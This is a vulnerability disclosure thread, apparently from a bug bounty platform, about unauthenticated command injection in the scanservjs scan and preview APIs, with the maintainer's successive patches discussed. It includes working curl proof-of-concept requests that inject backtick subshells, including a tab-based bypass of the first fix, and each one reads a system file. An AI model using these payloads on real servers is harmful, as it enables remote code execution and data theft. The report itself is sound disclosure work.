OS Command Injection via Type Confusion in Scan and Preview Parameters in sbs20/scanservjs

Valid

Reported on

Apr 23rd 2023


Description

Scanservjs has a RESTful API that provides endpoints for interacting with scanners using the SANE library. There are two APIs for scanning an image and generating a preview image that call out to Process.spawn, invoking a scanimage command as a subprocess of the server, and passing arguments from the API request body as arguments into the subprocess. Both APIs suffer from OS Command Injection via type confusion in several parameters in the POST body. While the business logic does sanitize string parameters from these API calls, it doesn't sufficiently prevent arrays of strings from being passed in several vulnerable POST body parameters. This allows an attacker to pass a JSON array with a single string parameter, buffeted by backticks, which gets formatted as a string and placed in the arguments for scanimage. This ultimately executes a subshell with an arbitrary command passed by the attacker, leading to remote code execution. While scanservjs has the option to enable HTTP Basic Auth, it is hidden in the config and there is no documentation on this feature, therefore this is a remote code execution without authentication by default.

Proof of Concept

POST /scan Proof of Concept

Request:

curl --request POST \
  --url http://localhost:8080/scan \
  --header 'Content-Type: application/json' \
  --data '{"version":"2.26.1","params":{"deviceId":"pixma:MP620_10.64.0.25","resolution":["`cat /etc/os-release 1>&2`"],"width":216,"height":297,"left":0,"top":0,"mode":"Color","source":"Flatbed"},"filters":[],"pipeline":"JPG | @:pipeline.high-quality","batch":"none","index":1}'

Response:

{
    "message": "/usr/bin/scanimage -d pixma:MP620_10.64.0.25 --source Flatbed --mode Color --resolution `cat /etc/os-release 1>&2` -l 0 -t 0 -x 216 -y 297 --format tiff -o data/temp/~tmp-scan-0-0001.tif exited with code: 1, stderr: PRETTY_NAME=\"Ubuntu 22.10\"\nNAME=\"Ubuntu\"\nVERSION_ID=\"22.10\"\nVERSION=\"22.10 (Kinetic Kudu)\"\nVERSION_CODENAME=kinetic\nID=ubuntu\nID_LIKE=debian\nHOME_URL=\"https://www.ubuntu.com/\"\nSUPPORT_URL=\"https://help.ubuntu.com/\"\nBUG_REPORT_URL=\"https://bugs.launchpad.net/ubuntu/\"\nPRIVACY_POLICY_URL=\"https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\"\nUBUNTU_CODENAME=kinetic\nLOGO=ubuntu-logo\nscanimage: open of device pixma:MP620_10.64.0.25 failed: Invalid argument\n",
    "code": -1
}

Proof of Concept

POST /preview Proof of Concept

Request:

curl --request POST \
  --url http://localhost:8080/preview \
  --header 'Content-Type: application/json' \
  --data '{"version":"2.26.1","params":{"deviceId":"pixma:MP620_10.64.0.25","resolution":100,"width":216,"height":297,"left":0,"top":0,"mode":"Color","source":"Flatbed", "contrast": ["`cat /etc/os-release 1>&2`"]},"filters":[],"pipeline":"JPG | @:pipeline.high-quality","batch":"none","index":1}'

Response:

{
    "message": "/usr/bin/scanimage -d pixma:MP620_10.64.0.25 --source Flatbed --mode Color --resolution 100 -l 0 -t 0 -x 216 -y 297 --format tiff --contrast `cat /etc/os-release 1>&2` -o data/preview/preview.tif exited with code: 1, stderr: PRETTY_NAME=\"Ubuntu 22.10\"\nNAME=\"Ubuntu\"\nVERSION_ID=\"22.10\"\nVERSION=\"22.10 (Kinetic Kudu)\"\nVERSION_CODENAME=kinetic\nID=ubuntu\nID_LIKE=debian\nHOME_URL=\"https://www.ubuntu.com/\"\nSUPPORT_URL=\"https://help.ubuntu.com/\"\nBUG_REPORT_URL=\"https://bugs.launchpad.net/ubuntu/\"\nPRIVACY_POLICY_URL=\"https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\"\nUBUNTU_CODENAME=kinetic\nLOGO=ubuntu-logo\nscanimage: open of device pixma:MP620_10.64.0.25 failed: Invalid argument\n",
    "code": -1
}

Impact

The vulnerability can execute any process on the server using a subshell, so the compromise of the system running scanservjs is almost complete. This vulnerability enables an attacker to dump the contents of any file on the server that the user, or the user's group, associated with the scanservjs process has permissions to read. Exfiltrating data can be done by using code execution in a subshell and redirecting output of a cat like command to stderr. An attacker can do more than query data using the subshell, and can run commands to write data to the server, and execute other processes outside the scope of scanservjs. In the default case, scanservjs is setup with a dedicated non root user so this user cannot read files, write files or execute commands as root. In the worst case, an administrator sets up scanservjs to run as a user with root permissions.

Occurrences

The vulnerability occurs in the following code when the parameters passed from the API are formatted and sanitized. String parameters are sanitized and surrounded with single quotes but array type parameters, which can be passed to this function, are not sanitized or quoted. They are then formatted to a string when calling return `${value}`.

  /**
   * @param {string|number} [value]
   * @returns {string}
   */
  _format(value) {
    if (typeof value === 'string') {
      if (value.includes('\'')) {
        throw Error('Argument must not contain single quote "\'"');
      } else if (['$', ' ', '#', '\\', ';'].some(c => value.includes(c))) {
        return `'${value}'`;
      }
    }
    return `${value}`;
  }
We are processing your report and will contact the sbs20/scanservjs team within 24 hours. 19 days ago
We created a GitHub Issue asking the maintainers to create a SECURITY.md 18 days ago
We have contacted a member of the sbs20/scanservjs team and are waiting to hear back 17 days ago
sbs20 gave praise 17 days ago
The researcher's credibility has slightly increased as a result of the maintainer's thanks: +1
sbs20
17 days ago

Maintainer


Updated method below

  /**
   * @param {string|number} [value]
   * @returns {string}
   */
  _format(value) {
    switch (typeof value) {
      case 'string':
        if (value.includes('\'')) {
          throw Error('Argument must not contain single quote "\'"');
        } else if (['$', ' ', '#', '\\', ';'].some(c => value.includes(c))) {
          return `'${value}'`;
        }
      
      case 'boolean':
      case 'number':
        return `${value}`;

      default:
        throw Error(`Invalid argument type: '${typeof value}'`)
    }
  }

I don't have any more time to commit or push tonight so will wait a couple of days anyway.

Thanks again.

Cameron Ruatta
17 days ago

Researcher


I'm glad to be able to contribute to the project @sbs20! If I can make a suggestion, I would single quote all strings by default. I actually missed this on my first pass of the vulnerable code, but the updated code and previous implementation are vulnerable to command injection with a string using tabs for spaces surrounded by backticks. There are probably other permutations which will work, so I think it's safer to just quote all untrusted string inputs.

Request:

curl --request POST \
  --url http://localhost:8080/scan \
  --header 'Content-Type: application/json' \
  --data '{"version":"2.26.1","params":{"deviceId":"pixma:MP620_10.64.0.25","resolution":"`cat\t/etc/os-release\t1>&2`","width":216,"height":297,"left":0,"top":0,"mode":"Color","source":"Flatbed"},"filters":[],"pipeline":"JPG | @:pipeline.high-quality","batch":"none","index":1}'

Response:

{
    "message": "/usr/bin/scanimage -d pixma:MP620_10.64.0.25 --source Flatbed --mode Color --resolution `cat\t/etc/os-release\t1>&2` -l 0 -t 0 -x 216 -y 297 --format tiff -o ../server/data/temp/~tmp-scan-0-0001.tif exited with code: 1, stderr: PRETTY_NAME=\"Ubuntu 23.04\"\nNAME=\"Ubuntu\"\nVERSION_ID=\"23.04\"\nVERSION=\"23.04 (Lunar Lobster)\"\nVERSION_CODENAME=lunar\nID=ubuntu\nID_LIKE=debian\nHOME_URL=\"https://www.ubuntu.com/\"\nSUPPORT_URL=\"https://help.ubuntu.com/\"\nBUG_REPORT_URL=\"https://bugs.launchpad.net/ubuntu/\"\nPRIVACY_POLICY_URL=\"https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\"\nUBUNTU_CODENAME=lunar\nLOGO=ubuntu-logo\nscanimage: open of device pixma:MP620_10.64.0.25 failed: Invalid argument\n",
    "code": -1
}
We have sent a follow up to the sbs20/scanservjs team. We will try again in 7 days. 10 days ago
sbs20
9 days ago

Maintainer


Thanks again for your insight - it's super helpful.

I really want to be able to keep simplified arguments for readability in logs - but I also need to allow redirects. So have opted for an allowlist (rather than blocklist) approach for [0-9a-z-=/~.:] and also added a new redirect(...) method.

I believe (hope?) that this is sufficient.

  /**
   * @param {string|number} [value]
   * @returns {string}
   */
  _format(value) {
    if (['boolean', 'number'].includes(typeof value)) {
      return `${value}`;
    } else if ('string' === typeof value) {
      if (value.includes('\'')) {
        throw Error('Argument must not contain single quote "\'"');
      } else if (!/^[0-9a-z-=/~.:]+$/i.test(value)) {
        return `'${value}'`;
      }
      return `${value}`;
    }
    throw Error(`Invalid argument type: '${typeof value}'`);
  }

  /**
   * @param {string} operator
   * @returns {CmdBuilder}
   */
  redirect(operator) {
    if (typeof operator !== 'string' || !/^[&<>|]+$/.test(operator)) {
      throw Error(`Invalid argument: '${operator}'`);
    }
    this.args.push(operator);
    return this;
  }

Apologies for taking advantage of your time and goodwill!

sbs20 validated this vulnerability 4 days ago

Thank you so much for your help.

I am hoping I fixed the issue with https://github.com/sbs20/scanservjs/pull/606

Cameron Ruatta has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
sbs20 marked this as fixed in v2.27.0 with commit d51fd5 4 days ago
The fix bounty has been dropped
This vulnerability has been assigned a CVE
sbs20 published this vulnerability 4 days ago
command-builder.js#L18 has been validated
Cameron Ruatta
4 days ago

Researcher


Thank you for the CVE! I think the issue is solved with the code you proposed. If I can think of any issues I'll let you know. Thank you for the effort you put into scanservjs.

to join this conversation